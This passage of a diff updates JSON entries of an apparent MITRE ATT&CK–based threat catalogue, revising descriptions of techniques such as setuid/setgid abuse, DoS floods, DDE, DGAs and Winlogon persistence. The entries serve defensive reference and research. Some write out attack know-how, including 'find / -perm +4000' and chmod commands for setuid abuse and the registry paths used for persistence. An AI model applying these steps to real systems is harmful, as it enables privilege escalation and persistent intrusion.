process-based detections.", - "meta": { - "external_id": "T1564.010", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Process: Process Creation" - ], - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1564/010", - "https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/", - "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/", - "https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/", - "https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb", - "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", - "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode" - ] - }, - "related": [ - { - "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8", - "type": "subtechnique-of" - } - ], - "uuid": "ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1", - "value": "Process Argument Spoofing - T1564.010" - }, - { - "description": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgit bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)", + "description": "An adversary may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware).", "meta": { "external_id": "T1548.001", "kill_chain": [ @@ -9911,7 +8788,6 @@ "refs": [ "http://man7.org/linux/man-pages/man2/setuid.2.html", "https://attack.mitre.org/techniques/T1548/001", - "https://gtfobins.github.io/#+suid", "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" ] }, @@ -9925,7 +8801,7 @@ "value": "Setuid and Setgid - T1548.001" }, { - "description": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)", + "description": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001) are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)", "meta": { "external_id": "CAPEC-486", "kill_chain": [ @@ -9963,7 +8839,7 @@ "value": "Direct Network Flood - T1498.001" }, { - "description": "Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)", + "description": "Adversaries may target the operating system (OS) for a DoS attack, since the (OS) is responsible for managing the finite resources on a system. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)", "meta": { "external_id": "CAPEC-482", "kill_chain": [ @@ -10032,7 +8908,7 @@ "value": "Domain Controller Authentication - T1556.001" }, { - "description": "Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "description": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { "external_id": "T1565.001", "kill_chain": [ @@ -10303,7 +9179,7 @@ "value": "Domain Trust Modification - T1484.002" }, { - "description": "Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)", + "description": "Adversaries may target the different network services provided by systems to conduct a DoS. Adversaries often target DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)", "meta": { "external_id": "CAPEC-528", "kill_chain": [ @@ -10378,7 +9254,7 @@ "value": "Password Filter DLL - T1556.002" }, { - "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { "external_id": "T1565.002", "kill_chain": [ @@ -10461,7 +9337,7 @@ "https://attack.mitre.org/techniques/T1557/002", "https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411", "https://tools.ietf.org/html/rfc826", - "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" ] }, "related": [ @@ -10474,7 +9350,7 @@ "value": "ARP Cache Poisoning - T1557.002" }, { - "description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)", + "description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)", "meta": { "external_id": "T1559.002", "kill_chain": [ @@ -10491,8 +9367,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1559/002", "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/", - "https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/", - "https://owasp.org/www-community/attacks/CSV_Injection", "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021", "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee", "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/", @@ -10513,7 +9387,7 @@ "value": "Dynamic Data Exchange - T1559.002" }, { - "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", + "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", "meta": { "external_id": "T1568.002", "kill_chain": [ @@ -10552,7 +9426,7 @@ "value": "Domain Generation Algorithms - T1568.002" }, { - "description": "An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. \n\nCloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)", + "description": "An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. \n\nCloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an attacker has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)", "meta": { "external_id": "T1562.008", "kill_chain": [ @@ -10626,8 +9500,7 @@ "mitre-attack:defense-evasion" ], "mitre_data_sources": [ - "Instance: Instance Creation", - "Instance: Instance Metadata" + "Instance: Instance Creation" ], "mitre_platforms": [ "IaaS" @@ -10839,7 +9712,7 @@ "value": "Time Based Evasion - T1497.003" }, { - "description": "Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)", + "description": "Adversaries may target resource intensive features of web applications to cause a denial of service (DoS). Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself. (Citation: Arbor AnnualDoSreport Jan 2018)", "meta": { "external_id": "T1499.003", "kill_chain": [ @@ -10912,7 +9785,7 @@ "value": "Pluggable Authentication Modules - T1556.003" }, { - "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { "external_id": "T1565.003", "kill_chain": [ @@ -10984,8 +9857,7 @@ "mitre-attack:defense-evasion" ], "mitre_data_sources": [ - "Instance: Instance Deletion", - "Instance: Instance Metadata" + "Instance: Instance Deletion" ], "mitre_platforms": [ "IaaS" @@ -11073,7 +9945,7 @@ "value": "NTFS File Attributes - T1564.004" }, { - "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.", + "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.", "meta": { "external_id": "CAPEC-579", "kill_chain": [ @@ -11122,7 +9994,7 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1555/004", - "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/", + "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ ", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store", "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea", @@ -11140,7 +10012,7 @@ "value": "Windows Credential Manager - T1555.004" }, { - "description": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)", + "description": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock)", "meta": { "external_id": "T1556.004", "kill_chain": [ @@ -11158,7 +10030,7 @@ "https://attack.mitre.org/techniques/T1556/004", "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13", "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7", - "https://www.mandiant.com/resources/synful-knock-acis" + "https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html" ] }, "related": [ @@ -11245,7 +10117,6 @@ "mitre_data_sources": [ "Command: Command Execution", "File: File Creation", - "Image: Image Metadata", "Process: Process Creation", "Service: Service Creation", "Windows Registry: Windows Registry Key Modification" @@ -11272,7 +10143,7 @@ "value": "Run Virtual Instance - T1564.006" }, { - "description": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)", + "description": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)", "meta": { "external_id": "T1546.007", "kill_chain": [ @@ -11366,8 +10237,7 @@ "Windows", "Office 365", "Linux", - "macOS", - "Google Workspace" + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1564/008", @@ -11396,7 +10266,6 @@ "mitre-attack:defense-evasion" ], "mitre_data_sources": [ - "Instance: Instance Metadata", "Instance: Instance Modification", "Instance: Instance Start", "Instance: Instance Stop" @@ -11473,15 +10342,8 @@ "mitre-attack:discovery" ], "mitre_data_sources": [ - "Active Directory: Active Directory Object Access", "Command: Command Execution", - "File: File Access", - "Network Traffic: Network Traffic Content", - "Network Traffic: Network Traffic Flow", - "Process: OS API Execution", - "Process: Process Access", - "Process: Process Creation", - "Windows Registry: Windows Registry Key Access" + "Process: Process Creation" ], "mitre_platforms": [ "Linux", @@ -11515,15 +10377,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html" ] }, - "related": [ - { - "dest-uuid": "a91262d5-b9ff-463f-b8d2-12e4ea1eb3c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "b332a960-3c04-495a-827f-f17a5daed3a6", "value": "Disguise Root/Jailbreak Indicators - T1408" }, @@ -11620,8 +10474,7 @@ "mitre-attack:defense-evasion" ], "mitre_data_sources": [ - "Instance: Instance Creation", - "Instance: Instance Metadata" + "Instance: Instance Creation" ], "mitre_platforms": [ "IaaS" @@ -11672,7 +10525,7 @@ "value": "Obtain booter/stressor subscription - T1396" }, { - "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.(Citation: Prevailion DarkWatchman 2021)", + "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.", "meta": { "external_id": "T1010", "kill_chain": [ @@ -11685,12 +10538,10 @@ ], 